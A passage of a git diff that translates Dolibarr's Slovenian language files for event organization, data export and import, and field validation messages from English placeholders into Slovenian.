%s številk(e) +RequireXDigitsMax = Zahteva največ %s številk(e). +RequireValidNumeric = Zahteva številčno vrednost +RequireValidEmail = E-poštni naslov ni veljaven +RequireMaxLength = Dolžina mora biti manjša od %s znakov +RequireMinLength = Dolžina mora biti večja od %s znakov +RequireValidUrl = Zahtevaj veljaven URL +RequireValidDate = Zahtevaj veljaven datum +RequireANotEmptyValue = Je potrebno +RequireValidDuration = Zahtevaj veljavno trajanje +RequireValidExistingElement = Zahtevaj obstoječo vrednost +RequireValidBool = Zahtevaj veljavno logično vrednost +BadSetupOfField = Nepravilna nastavitev polja +BadSetupOfFieldClassNotFoundForValidation = Neveljavna nastavitev polja: razred za preverjanje ne obstaja +BadSetupOfFieldFileNotFound = Neveljavna nastavitev polja: datoteke ni bilo mogoče najti +BadSetupOfFieldFetchNotCallable = Neveljavna nastavitev polja: Fetch ni mogoče priklicati v razredu diff --git a/htdocs/langs/sl_SI/eventorganization.lang b/htdocs/langs/sl_SI/eventorganization.lang index 570eacd6cb8..8372b194242 100644 --- a/htdocs/langs/sl_SI/eventorganization.lang +++ b/htdocs/langs/sl_SI/eventorganization.lang @@ -17,151 +17,158 @@ # # Generic # -ModuleEventOrganizationName = Event Organization -EventOrganizationDescription = Event Organization through Module Project -EventOrganizationDescriptionLong= Manage the organization of an event (show, conferences, attendees or speakers, with public pages for suggestion, vote or registration) +ModuleEventOrganizationName = Organizacija dogodkov +EventOrganizationDescription = Organizacija dogodkov prek modula Project +EventOrganizationDescriptionLong= Upravljajte organizacijo dogodka (razstava, konference, udeleženci ali govorci, z javnimi stranmi za predloge, glasovanje ali registracijo) # # Menu # -EventOrganizationMenuLeft = Organized events -EventOrganizationConferenceOrBoothMenuLeft = Conference Or Booth +EventOrganizationMenuLeft = Organizirani dogodki +EventOrganizationConferenceOrBoothMenuLeft = Konferenca ali kabina -PaymentEvent=Payment of event +PaymentEvent=Plačilo dogodka # # Admin page # -NewRegistration=Registration -EventOrganizationSetup=Event Organization setup -EventOrganization=Event organization -Settings=Settings -EventOrganizationSetupPage = Event Organization setup page -EVENTORGANIZATION_TASK_LABEL = Label of tasks to create automatically when project is validated -EVENTORGANIZATION_TASK_LABELTooltip = When you validate an organized event, some tasks can be automatically created in the project

      For example:
      Send Call for Conference
      Send Call for Booth
      Receive call for conferences
      Receive call for Booth
      Open subscriptions to events for attendees
      Send remind of event to speakers
      Send remind of event to Booth hoster
      Send remind of event to attendees -EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Category to add to third-parties automatically created when someone suggests a conference -EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Category to add to third-parties automatically created when they suggests a booth -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Template of email to send after receiving a suggestion of a conference. -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = Template of email to send after receiving a suggestion of a booth. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Template of email to send after a registration to a booth has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Template of email to send after a registration to an event has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Template of email to use when sending emails from the massaction "Send emails" to speakers -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Template of email to use when sending emails from the massaction "Send emails" on attendee list -EVENTORGANIZATION_FILTERATTENDEES_CAT = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties in the category -EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties with the nature +NewRegistration=Registracija +EventOrganizationSetup=Postavitev organizacije dogodka +EventOrganization=Organizacija dogodkov +Settings=nastavitve +EventOrganizationSetupPage = Stran za nastavitev organizacije dogodka +EVENTORGANIZATION_TASK_LABEL = Oznaka opravil, ki se samodejno ustvari, ko je projekt potrjen +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Pošlji opomnik na dogodek govorcem
      Pošlji opomin na dogodek gostiteljem stojnice
      Pošlji opomin na dogodek udeležencem +EVENTORGANIZATION_TASK_LABELTooltip2=Pustite prazno, če vam ni treba samodejno ustvariti opravil. +EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategorija za dodajanje tretjim osebam, samodejno ustvarjena, ko nekdo predlaga konferenco +EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategorija za dodajanje tretjim osebam, samodejno ustvarjena, ko predlagajo stojnico +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Predloga e-pošte za pošiljanje po prejemu predloga za konferenco. +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = Predloga e-pošte za pošiljanje po prejemu predloga za stojnico. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Predloga e-pošte za pošiljanje po plačilu registracije na stojnici. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Predloga e-pošte za pošiljanje po plačilu registracije na dogodek. +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Predloga e-pošte za uporabo pri pošiljanju e-pošte iz masaže "Pošlji e-pošto" govorcem +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Predloga e-pošte za uporabo pri pošiljanju e-pošte iz množične akcije "Pošlji e-pošto" na seznamu udeležencev +EVENTORGANIZATION_FILTERATTENDEES_CAT = V obrazcu za ustvarjanje/dodajanje udeleženca omeji seznam tretjih oseb na tretje osebe v kategoriji +EVENTORGANIZATION_FILTERATTENDEES_TYPE = V obrazcu za ustvarjanje/dodajanje udeleženca omejuje seznam tretjih oseb na tretje osebe z naravo # # Object # -EventOrganizationConfOrBooth= Conference Or Booth -ManageOrganizeEvent = Manage the organization of an event -ConferenceOrBooth = Conference Or Booth -ConferenceOrBoothTab = Conference Or Booth -AmountPaid = Amount paid -DateOfRegistration = Date of registration -ConferenceOrBoothAttendee = Conference Or Booth Attendee +EventOrganizationConfOrBooth= Konferenca ali kabina +EventOrganizationConfOrBoothes=Conferences or Boothes +ManageOrganizeEvent = Vodite organizacijo dogodka +ConferenceOrBooth = Konferenca ali kabina +ConferenceOrBoothTab = Konferenca ali kabina +AmountPaid = Plačani znesek +DateOfRegistration = Datum registracije +ConferenceOrBoothAttendee = Udeleženec konference ali stojnice +ApplicantOrVisitor=Prijavitelj ali obiskovalec +Speaker=Zvočnik # # Template Mail # -YourOrganizationEventConfRequestWasReceived = Your request for conference was received -YourOrganizationEventBoothRequestWasReceived = Your request for booth was received -EventOrganizationEmailAskConf = Request for conference -EventOrganizationEmailAskBooth = Request for booth -EventOrganizationEmailBoothPayment = Payment of your booth -EventOrganizationEmailRegistrationPayment = Registration for an event -EventOrganizationMassEmailAttendees = Communication to attendees -EventOrganizationMassEmailSpeakers = Communication to speakers -ToSpeakers=To speakers +YourOrganizationEventConfRequestWasReceived = Vaša zahteva za konferenco je bila prejeta +YourOrganizationEventBoothRequestWasReceived = Vaša zahteva za stojnico je bila prejeta +EventOrganizationEmailAskConf = Zahteva za konferenco +EventOrganizationEmailAskBooth = Zahteva za stojnico +EventOrganizationEmailBoothPayment = Plačilo vaše stojnice +EventOrganizationEmailRegistrationPayment = Prijava na dogodek +EventOrganizationMassEmailAttendees = Komunikacija z udeleženci +EventOrganizationMassEmailSpeakers = Komunikacija zvočnikom +ToSpeakers=Za zvočnike # # Event # -AllowUnknownPeopleSuggestConf=Allow people to suggest conferences -AllowUnknownPeopleSuggestConfHelp=Allow unknown people to suggest a conference they want to do -AllowUnknownPeopleSuggestBooth=Allow people to apply for a booth -AllowUnknownPeopleSuggestBoothHelp=Allow unknown people to apply for a booth -PriceOfRegistration=Price of registration -PriceOfRegistrationHelp=Price to pay to register or participate in the event -PriceOfBooth=Subscription price to stand a booth -PriceOfBoothHelp=Subscription price to stand a booth -EventOrganizationICSLink=Link ICS for conferences -ConferenceOrBoothInformation=Conference Or Booth informations -Attendees=Attendees -ListOfAttendeesOfEvent=List of attendees of the event project -DownloadICSLink = Download ICS link -EVENTORGANIZATION_SECUREKEY = Seed to secure the key for the public registration page to suggest a conference -SERVICE_BOOTH_LOCATION = Service used for the invoice row about a booth location -SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Service used for the invoice row about an attendee subscription to an event -NbVotes=Number of votes +AllowUnknownPeopleSuggestConf=Dovolite ljudem, da predlagajo konference +AllowUnknownPeopleSuggestConfHelp=Dovolite neznanim ljudem, da predlagajo konferenco, ki jo želijo izvesti +AllowUnknownPeopleSuggestBooth=Dovolite ljudem, da se prijavijo za stojnico +AllowUnknownPeopleSuggestBoothHelp=Dovolite neznanim osebam, da se prijavijo za stojnico +PriceOfRegistration=Cena registracije +PriceOfRegistrationHelp=Cena za registracijo ali udeležbo na dogodku +PriceOfBooth=Cena naročnine za stojnico +PriceOfBoothHelp=Cena naročnine za stojnico +EventOrganizationICSLink=Povežite ICS za konference +ConferenceOrBoothInformation=Informacije o konferenci ali stojnici +Attendees=Udeleženci +ListOfAttendeesOfEvent=Seznam udeležencev projekta dogodka +DownloadICSLink = Prenesite povezavo ICS +EVENTORGANIZATION_SECUREKEY = Seed za zagotovitev ključa za javno registracijsko stran za predlaganje konference +SERVICE_BOOTH_LOCATION = Storitev, uporabljena za vrstico računa o lokaciji stojnice +SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Storitev, ki se uporablja za vrstico računa o naročnini udeleženca na dogodek +NbVotes=Število glasov # # Status # EvntOrgDraft = Osnutek -EvntOrgSuggested = Suggested -EvntOrgConfirmed = Confirmed -EvntOrgNotQualified = Not Qualified +EvntOrgSuggested = Predlagano +EvntOrgConfirmed = Potrjeno +EvntOrgNotQualified = Ni kvalificiran EvntOrgDone = Izvršene -EvntOrgCancelled = Cancelled +EvntOrgCancelled = Prekinjeno # # Public page # -SuggestForm = Suggestion page -SuggestOrVoteForConfOrBooth = Page for suggestion or vote -EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest a new one for the event. You can also apply to have a booth during the event. -EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. -EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. -ListOfSuggestedConferences = List of suggested conferences -ListOfSuggestedBooths = List of suggested booths -ListOfConferencesOrBooths=List of conferences or booths of event project -SuggestConference = Suggest a new conference -SuggestBooth = Suggest a booth -ViewAndVote = View and vote for suggested events -PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event -PublicAttendeeSubscriptionPage = Public link for registration to this event only -MissingOrBadSecureKey = The security key is invalid or missing -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s -EvntOrgDuration = This conference starts on %s and ends on %s. -ConferenceAttendeeFee = Conference attendee fee for the event : '%s' occurring from %s to %s. -BoothLocationFee = Booth location for the event : '%s' occurring from %s to %s +SuggestForm = Stran s predlogi +SuggestOrVoteForConfOrBooth = Stran za predlog ali glasovanje +EvntOrgRegistrationHelpMessage = Tukaj lahko glasujete za konferenco ali predlagate novo za dogodek. Prijavite se lahko tudi za stojnico med dogodkom. +EvntOrgRegistrationConfHelpMessage = Tukaj lahko predlagate novo konferenco za animacijo med dogodkom. +EvntOrgRegistrationBoothHelpMessage = Tukaj se lahko prijavite za stojnico med dogodkom. +ListOfSuggestedConferences = Seznam predlaganih konferenc +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project +SuggestConference = Predlagajte novo konferenco +SuggestBooth = Predlagaj stojnico +ViewAndVote = Oglejte si predlagane dogodke in glasujte zanje +PublicAttendeeSubscriptionGlobalPage = Javna povezava za prijavo na dogodek +PublicAttendeeSubscriptionPage = Javna povezava samo za prijavo na ta dogodek +MissingOrBadSecureKey = Varnostni ključ je neveljaven ali manjka +EvntOrgWelcomeMessage = Obrazec omogoča registracijo novega udeleženca dogodka +EvntOrgDuration = Ta konferenca se začne %s in konča %s. +ConferenceAttendeeFee = Prispevek za udeležence konference za dogodek: '%s', ki se pojavi od %s do %s. +BoothLocationFee = Lokacija stojnice za dogodek: '%s', ki se pojavlja od %s do %s EventType = Tip dogodka -LabelOfBooth=Booth label -LabelOfconference=Conference label -ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet -DateMustBeBeforeThan=%s must be before %s -DateMustBeAfterThan=%s must be after %s +LabelOfBooth=Oznaka kabine +LabelOfconference=Oznaka konference +ConferenceIsNotConfirmed=Registracija ni mogoča, konferenca še ni potrjena +DateMustBeBeforeThan=%s mora biti pred %s +DateMustBeAfterThan=%s mora biti za %s +MaxNbOfAttendeesReached=Doseženo je največje število udeležencev +NewSubscription=Registracija +OrganizationEventConfRequestWasReceived=Vaš predlog za konferenco je bil prejet +OrganizationEventBoothRequestWasReceived=Vaša zahteva za stojnico je bila prejeta +OrganizationEventPaymentOfBoothWasReceived=Vaše plačilo za vašo stojnico je bilo zabeleženo +OrganizationEventPaymentOfRegistrationWasReceived=Vaše plačilo za prijavo na dogodek je bilo zabeleženo +OrganizationEventBulkMailToAttendees=To je opomnik o vaši udeležbi na dogodku kot udeleženec +OrganizationEventBulkMailToSpeakers=To je opomnik o vaši udeležbi na dogodku kot govornik +OrganizationEventLinkToThirdParty=Povezava do tretje osebe (stranka, dobavitelj ali partner) +OrganizationEvenLabelName=Javno ime konference ali stojnice -NewSubscription=Registration -OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received -OrganizationEventBoothRequestWasReceived=Your request for a booth has been received -OrganizationEventPaymentOfBoothWasReceived=Your payment for your booth has been recorded -OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event registration has been recorded -OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee -OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker -OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) - -NewSuggestionOfBooth=Application for a booth -NewSuggestionOfConference=Application for a conference +NewSuggestionOfBooth=Prijava za stojnico +NewSuggestionOfConference=Prijava na konferenco # # Vote page # -EvntOrgRegistrationWelcomeMessage = Welcome on the conference or booth suggestion page. -EvntOrgRegistrationConfWelcomeMessage = Welcome on the conference suggestion page. -EvntOrgRegistrationBoothWelcomeMessage = Welcome on the booth suggestion page. -EvntOrgVoteHelpMessage = Here, you can view and vote for the suggested events for the project -VoteOk = Your vote has been accepted. -AlreadyVoted = You have already voted for this event. -VoteError = An error has occurred during the vote, please try again. +EvntOrgRegistrationWelcomeMessage = Dobrodošli na strani s predlogi za konferenco ali stojnico. +EvntOrgRegistrationConfWelcomeMessage = Dobrodošli na strani s predlogi konference. +EvntOrgRegistrationBoothWelcomeMessage = Dobrodošli na strani s predlogi stojnice. +EvntOrgVoteHelpMessage = Tukaj si lahko ogledate in glasujete za predlagane dogodke za projekt +VoteOk = Vaš glas je bil sprejet. +AlreadyVoted = Za ta dogodek ste že glasovali. +VoteError = Med glasovanjem je prišlo do napake, poskusite znova. -SubscriptionOk = Your registration has been validated -ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event -Attendee = Attendee -PaymentConferenceAttendee = Conference attendee payment -PaymentBoothLocation = Booth location payment -DeleteConferenceOrBoothAttendee=Remove attendee -RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s -EmailAttendee=Attendee email -EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) -ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +SubscriptionOk=Registracija je zabeležena +ConfAttendeeSubscriptionConfirmation = Potrditev vaše naročnine na dogodek +Attendee = Udeleženec +PaymentConferenceAttendee = Plačilo udeležencev konference +PaymentBoothLocation = Plačilo lokacije stojnice +DeleteConferenceOrBoothAttendee=Odstrani udeleženca +RegistrationAndPaymentWereAlreadyRecorder=Za email %s je bila že zabeležena registracija in plačilo +EmailAttendee=E-pošta udeleženca +EmailCompany=Elektronski naslov +EmailCompanyForInvoice=E-pošta podjetja (za račun, če se razlikuje od e-pošte udeleženca) +ErrorSeveralCompaniesWithEmailContactUs=Najdenih je bilo več podjetij s tem e-poštnim naslovom, zato ne moremo samodejno potrditi vaše registracije. Za ročno preverjanje nas kontaktirajte na %s +ErrorSeveralCompaniesWithNameContactUs=Najdenih je bilo več podjetij s tem imenom, zato ne moremo samodejno potrditi vaše registracije. Za ročno preverjanje nas kontaktirajte na %s +NoPublicActionsAllowedForThisEvent=Za ta dogodek niso odprta nobena javna dejanja +MaxNbOfAttendees=Največje število udeležencev diff --git a/htdocs/langs/sl_SI/exports.lang b/htdocs/langs/sl_SI/exports.lang index af3683bf5db..4f2070087a8 100644 --- a/htdocs/langs/sl_SI/exports.lang +++ b/htdocs/langs/sl_SI/exports.lang @@ -1,62 +1,64 @@ # Dolibarr language file - Source file is en_US - exports ExportsArea=Izvoz -ImportArea=Import -NewExport=New Export -NewImport=New Import +ImportArea=Uvozi +NewExport=Nov izvoz +NewImport=Nov uvoz ExportableDatas=Podatkovni niz, ki se lahko izvozi ImportableDatas=Podatkovni niz, ki se lahko uvozi SelectExportDataSet=Izberite podatkovni niz, ki ga želite izvoziti... SelectImportDataSet=Izberite podatkovni niz, ki ga želite uvoziti... -SelectExportFields=Choose the fields you want to export, or select a predefined export profile -SelectImportFields=Choose the source file fields you want to import and their target field in database by moving them up and down with anchor %s, or select a predefined import profile: +SelectExportFields=Izberite polja, ki jih želite izvoziti, ali izberite vnaprej določen izvozni profil +SelectImportFields=Izberite polja izvorne datoteke, ki jih želite uvoziti, in njihovo ciljno polje v zbirki podatkov, tako da jih premikate gor in dol s sidrom %s, ali pa izberite vnaprej določen uvozni profil: NotImportedFields=Neuvožena polja izvorne datoteke -SaveExportModel=Save your selections as an export profile/template (for reuse). -SaveImportModel=Save this import profile (for reuse) ... +SaveExportModel=Shranite svoje izbire kot izvozni profil/predlogo (za ponovno uporabo). +SaveImportModel=Shranite ta uvozni profil (za ponovno uporabo) ... ExportModelName=Ime izvoznega profila -ExportModelSaved=Export profile saved as %s. +ExportModelSaved=Izvozni profil je shranjen kot %s . ExportableFields=Polja, ki se lahko izvozijo ExportedFields=Izvožena polja ImportModelName=Ime uvoznega profila -ImportModelSaved=Import profile saved as %s. +ImportModelSaved=Uvozni profil shranjen kot %s . +ImportProfile=Uvozi profil DatasetToExport=Podatkovni niz za izvoz DatasetToImport=Uvoz datoteke v podatkovni niz ChooseFieldsOrdersAndTitle=Izberite zaporedje polj... FieldsTitle=Nazivi polj FieldTitle=Naziv polja -NowClickToGenerateToBuildExportFile=Now, select the file format in the combo box and click on "Generate" to build the export file... -AvailableFormats=Available Formats +NowClickToGenerateToBuildExportFile=Zdaj v kombiniranem polju izberite obliko datoteke in kliknite »Ustvari«, da ustvarite izvozno datoteko ... +AvailableFormats=Razpoložljivi formati LibraryShort=Knjižnica -ExportCsvSeparator=Csv caracter separator -ImportCsvSeparator=Csv caracter separator +ExportCsvSeparator=Ločilo znakov CSV +ImportCsvSeparator=Ločilo znakov CSV Step=Korak -FormatedImport=Import Assistant -FormatedImportDesc1=This module allows you to update existing data or add new objects into the database from a file without technical knowledge, using an assistant. -FormatedImportDesc2=First step is to choose the kind of data you want to import, then the format of the source file, then the fields you want to import. -FormatedExport=Export Assistant -FormatedExportDesc1=These tools allow the export of personalized data using an assistant, to help you in the process without requiring technical knowledge. -FormatedExportDesc2=First step is to choose a predefined dataset, then which fields you want to export, and in which order. -FormatedExportDesc3=When data to export are selected, you can choose the format of the output file. +FormatedImport=Pomočnik za uvoz +FormatedImportDesc1=Ta modul vam omogoča posodobitev obstoječih podatkov ali dodajanje novih objektov v bazo podatkov iz datoteke brez tehničnega znanja, z uporabo pomočnika. +FormatedImportDesc2=Prvi korak je, da izberete vrsto podatkov, ki jih želite uvoziti, nato obliko izvorne datoteke in nato polja, ki jih želite uvoziti. +FormatedExport=Pomočnik za izvoz +FormatedExportDesc1=Ta orodja omogočajo izvoz prilagojenih podatkov s pomočjo pomočnika, ki vam pomaga pri postopku, ne da bi zahtevali tehnično znanje. +FormatedExportDesc2=Prvi korak je, da izberete vnaprej določen nabor podatkov, nato katera polja želite izvoziti in v kakšnem vrstnem redu. +FormatedExportDesc3=Ko so izbrani podatki za izvoz, lahko izberete obliko izhodne datoteke. Sheet=List NoImportableData=Ni podatkov, ki jih lahko uvozite (ni tako definiranega modula, ki omogoča uvoz podatkov) -FileSuccessfullyBuilt=File generated -SQLUsedForExport=SQL Request used to extract data +FileSuccessfullyBuilt=Datoteka ustvarjena +SQLUsedForExport=Zahteva SQL, ki se uporablja za pridobivanje podatkov LineId=Id vrstice LineLabel=Naziv vrstice LineDescription=Opis vrstice LineUnitPrice=Cena enote v vrstici LineVATRate=Stopnja DDV v vrstici LineQty=Količina za vrstico -LineTotalHT=Amount excl. tax for line +LineTotalHT=Znesek brez davek za vrstico LineTotalTTC=Znesek z davkom za vrstico LineTotalVAT=Znesek DDV za vrstico TypeOfLineServiceOrProduct=Tip vrstice (0=proizvod, 1=storitev) FileWithDataToImport=Datoteka s podatki za uvoz FileToImport=Izvorna datoteka za uvoz -FileMustHaveOneOfFollowingFormat=File to import must have one of following formats -DownloadEmptyExample=Download template file with field content information -StarAreMandatory=* are mandatory fields -ChooseFormatOfFileToImport=Choose the file format to use as import file format by clicking on the %s icon to select it... -ChooseFileToImport=Upload file then click on the %s icon to select file as source import file... +FileMustHaveOneOfFollowingFormat=Datoteka za uvoz mora imeti enega od naslednjih formatov +DownloadEmptyExampleShort=Prenesite vzorčno datoteko +DownloadEmptyExample=Prenesite datoteko predloge s primeri in informacijami o poljih, ki jih lahko uvozite +StarAreMandatory=V datoteki predloge so vsa polja z * obvezna +ChooseFormatOfFileToImport=Izberite obliko datoteke, ki jo želite uporabiti kot obliko datoteke za uvoz, tako da kliknete ikono %s, da jo izberete... +ChooseFileToImport=Naložite datoteko in kliknite ikono %s, da izberete datoteko kot izvorno uvozno datoteko ... SourceFileFormat=Format izvorne datoteke FieldsInSourceFile=Polja v izvorni datoteki FieldsInTargetDatabase=Ciljna polja v Dolibarr bazi podatkov (krepko=obvezno) @@ -71,67 +73,75 @@ FieldsTarget=Ciljna polja FieldTarget=Ciljno polje FieldSource=Izvorno polje NbOfSourceLines=Število vrstic v izvorni datoteki -NowClickToTestTheImport=Check that the file format (field and string delimiters) of your file matches the options shown and that you have omitted the header line, or these will be flagged as errors in the following simulation.
      Click on the "%s" button to run a check of the file structure/contents and simulate the import process.
      No data will be changed in your database. -RunSimulateImportFile=Run Import Simulation +NowClickToTestTheImport=Preverite, ali se format datoteke (ločila polj in nizov) vaše datoteke ujema s prikazanimi možnostmi in ali ste izpustili naslovno vrstico, sicer bodo te v naslednji simulaciji označene kot napake.
      Kliknite gumb " %s ", da zaženete preverjanje strukture/vsebine datoteke in simulirate postopek uvoza.
      V vaši zbirki podatkov ne bo spremenjen noben podatek . +RunSimulateImportFile=Zaženite simulacijo uvoza FieldNeedSource=To polje zahteva podatek iz izvorne datoteke SomeMandatoryFieldHaveNoSource=Nekatera uvozna polja nimajo izvora v podatkovni datoteki InformationOnSourceFile=Informacije o izvorni datoteki InformationOnTargetTables=Informacije o ciljnih poljih SelectAtLeastOneField=Vklopite vsaj eno izvorno polje v koloni polj za izvoz SelectFormat=Izberite ta format uvozne datoteke -RunImportFile=Import Data -NowClickToRunTheImport=Check the results of the import simulation. Correct any errors and re-test.
      When the simulation reports no errors you may proceed to import the data into the database. -DataLoadedWithId=The imported data will have an additional field in each database table with this import id: %s, to allow it to be searchable in the case of investigating a problem related to this import. -ErrorMissingMandatoryValue=Mandatory data is empty in the source file for field %s. -TooMuchErrors=There are still %s other source lines with errors but output has been limited. -TooMuchWarnings=There are still %s other source lines with warnings but output has been limited. +RunImportFile=Uvoz podatkov +NowClickToRunTheImport=Preverite rezultate simulacije uvoza. Popravite morebitne napake in ponovno preizkusite.
      Ko simulacija ne poroča o napakah, lahko nadaljujete z uvozom podatkov v bazo podatkov. +DataLoadedWithId=Uvoženi podatki bodo imeli dodatno polje v vsaki tabeli zbirke podatkov s tem ID-jem uvoza: %s , da bo po njih mogoče iskati v primeru raziskovanja težave, povezane s tem uvozom. +ErrorMissingMandatoryValue=V izvorni datoteki v stolpcu %s so obvezni podatki prazni. +TooMuchErrors=Še vedno obstajajo %s druge izvorne vrstice z napakami, vendar je izhod omejen. +TooMuchWarnings=Še vedno obstajajo %s druge izvorne vrstice z opozorili, vendar je izhod omejen. EmptyLine=Prazna vrstica (ne bo upoštevana) -CorrectErrorBeforeRunningImport=You must correct all errors before running the definitive import. +CorrectErrorBeforeRunningImport= morate popraviti vse napake preden zaženete dokončni uvoz. FileWasImported=Datoteka je bila uvožena s številko %s. -YouCanUseImportIdToFindRecord=You can find all the imported records in your database by filtering on field import_key='%s'. +YouCanUseImportIdToFindRecord=Vse uvožene zapise v svoji zbirki podatkov najdete s filtriranjem v polju import_key='%s' . NbOfLinesOK=Število vrstic brez napak in brez opozoril: %s. NbOfLinesImported=Število uspešno uvoženih vrstic: %s. DataComeFromNoWhere=Vrednost za vstavljanje ne prihaja iz izvorne datoteke. -DataComeFromFileFieldNb=Vrednost za vstavljanje prihaja iz polja %s izvorne datoteke. -DataComeFromIdFoundFromRef=Value that comes from field number %s of source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). -DataComeFromIdFoundFromCodeId=Code that comes from field number %s of source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. +DataComeFromFileFieldNb=Vrednost za vstavljanje prihaja iz stolpca %s v izvorni datoteki. +DataComeFromIdFoundFromRef=Vrednost, ki izvira iz izvorne datoteke, bo uporabljena za iskanje ID-ja nadrejenega objekta, ki bo uporabljen (zato mora objekt %s , ki ima sklic iz izvorne datoteke, obstajati v bazi podatkov). +DataComeFromIdFoundFromCodeId=Vrednost kode, ki prihaja iz izvorne datoteke, bo uporabljena za iskanje ID-ja nadrejenega objekta, ki ga je treba uporabiti (zato mora koda iz izvorne datoteke obstajati v slovarju %s ). Upoštevajte, da če poznate ID, ga lahko uporabite tudi v izvorni datoteki namesto kode. Uvoz bi moral delovati v obeh primerih. DataIsInsertedInto=Podatki iz izvorne datoteke bodo vstavljeni v naslednja polja: -DataIDSourceIsInsertedInto=The id of the parent object, that was found using the data in the source file, will be inserted into the following field: -DataCodeIDSourceIsInsertedInto=The id of the parent line, that was found from code, will be inserted into the following field: +DataIDSourceIsInsertedInto=ID nadrejenega predmeta, ki je bil najden s podatki v izvorni datoteki, bo vstavljen v naslednje polje: +DataCodeIDSourceIsInsertedInto=ID nadrejene vrstice, ki je bil najden iz kode, bo vstavljen v naslednje polje: SourceRequired=Podatkovna vrednost je obvezna SourceExample=Primer možnih podatkovnih vrednosti ExampleAnyRefFoundIntoElement=Vsak ref našel elementov za %s ExampleAnyCodeOrIdFoundIntoDictionary=Katerakoli koda (ali ID), najdena v slovarju %s -CSVFormatDesc=Comma Separated Value file format (.csv).
      This is a text file format where fields are separated by a separator [ %s ]. If separator is found inside a field content, field is rounded by round character [ %s ]. Escape character to escape round character is [ %s ]. -Excel95FormatDesc=Excel file format (.xls)
      This is the native Excel 95 format (BIFF5). -Excel2007FormatDesc=Excel file format (.xlsx)
      This is the native Excel 2007 format (SpreadsheetML). +CSVFormatDesc= Vrednost, ločena z vejico, oblika datoteke (.csv).
      To je format besedilne datoteke, kjer so polja ločena z ločilom [ %s ]. Če je ločilo znotraj vsebine polja, je polje zaokroženo z okroglim znakom [ %s ]. Ubežni znak za ubežni okrogli znak je [ %s ]. +Excel95FormatDesc= Excel oblika datoteke (.xls)
      To je izvorna oblika zapisa Excel 95 (BIFF5). +Excel2007FormatDesc= Excel oblika datoteke (.xlsx)
      To je izvorna oblika zapisa Excel 2007 (SpreadsheetML). TsvFormatDesc=Tab Separated Value datotečni format (.tsv)
      To je tekstovni datotečni format, pri katerem so polja ločena s tabulatorjem [tab]. -ExportFieldAutomaticallyAdded=Field %s was automatically added. It will avoid you to have similar lines to be treated as duplicate record (with this field added, all lines will own their own id and will differ). -CsvOptions=CSV format options -Separator=Field Separator -Enclosure=String Delimiter +ExportFieldAutomaticallyAdded=Polje %s je bilo samodejno dodano. Tako se boste izognili temu, da bi podobne vrstice obravnavali kot podvojen zapis (če dodate to polje, bodo vse vrstice imele svoj ID in se bodo razlikovale). +CsvOptions=Možnosti zapisa CSV +Separator=Ločilo polj +Enclosure=Ločilo nizov SpecialCode=Posebna koda ExportStringFilter=%% dovoljuje zamenjavo enega ali več znakov v besedilu -ExportDateFilter=YYYY, YYYYMM, YYYYMMDD: filters by one year/month/day
      YYYY+YYYY, YYYYMM+YYYYMM, YYYYMMDD+YYYYMMDD: filters over a range of years/months/days
      > YYYY, > YYYYMM, > YYYYMMDD: filters on all following years/months/days
      < YYYY, < YYYYMM, < YYYYMMDD: filters on all previous years/months/days -ExportNumericFilter=NNNNN filters by one value
      NNNNN+NNNNN filters over a range of values
      < NNNNN filters by lower values
      > NNNNN filters by higher values -ImportFromLine=Import starting from line number -EndAtLineNb=End at line number -ImportFromToLine=Limit range (From - To). Eg. to omit header line(s). -SetThisValueTo2ToExcludeFirstLine=For example, set this value to 3 to exclude the 2 first lines.
